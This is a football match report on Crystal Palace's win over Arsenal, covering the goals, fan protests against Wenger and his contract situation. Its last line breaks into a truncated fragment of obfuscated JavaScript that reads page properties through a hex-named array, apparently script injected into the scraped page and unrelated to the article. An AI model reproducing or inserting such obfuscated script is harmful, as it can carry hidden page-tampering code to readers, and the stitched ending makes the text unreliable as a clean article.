Crystal Palace continued their revival to boost their survival hopes and leave Arsenal struggling to maintain top-four finishes under Wenger.
Palace led through Andros Townsend’s close-range finish, doubling their lead when Yohan Cabaye’s shot looped in. Luka Milivojevic clinched victory with a firm, low penalty as Palace moved six points clear of the relegation zone.
Sixth-placed Arsenal did not even manage a shot on target in a poor second half.
Some travelling Gunners fans again called for manager Wenger to leave the club. The Frenchman’s side are seven points adrift of fourth-placed Manchester City with eight games remaining.
The manner of Arsenal’s performance – disorganised, devoid of attacking ideas and lacking fight – will increase the scrutiny on Wenger.
Wenger Woes
The 67-year-old has already faced protests from some supporters urging him to leave. With more calls clearly audible – along with the barracking of his players in the latter stages – at Selhurst Park.
Wenger’s contract expires at the end of the season and the club has offered him a new two-year deal. Although he is still to announce whether he intends to carry on.
Arsenal had 72% possession against Palace but that mattered for little as the hosts broke quickly on the counter-attack, exploiting space down the flanks and taking their chances clinically. The Gunners looked defensively vulnerable whenever Palace went forward, lacking leadership without injured captain Laurent Koscielny.
After the break, Hennessey did not even face a shot on target as Arsenal suffered a fourth straight away defeat for the first time under Wenger.
“Palace wanted it more. You could sense that from the kick-off,” Theo Walcott, Arsenal’s stand-in captain, said.
While Wenger has never led Arsenal to a finish outside the top four, opposite number Sam Allardyce has a proud record of not being relegated from the top flight. On this evidence, Allardyce looks much likelier to maintain his achievement than his long-time adversary. [_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
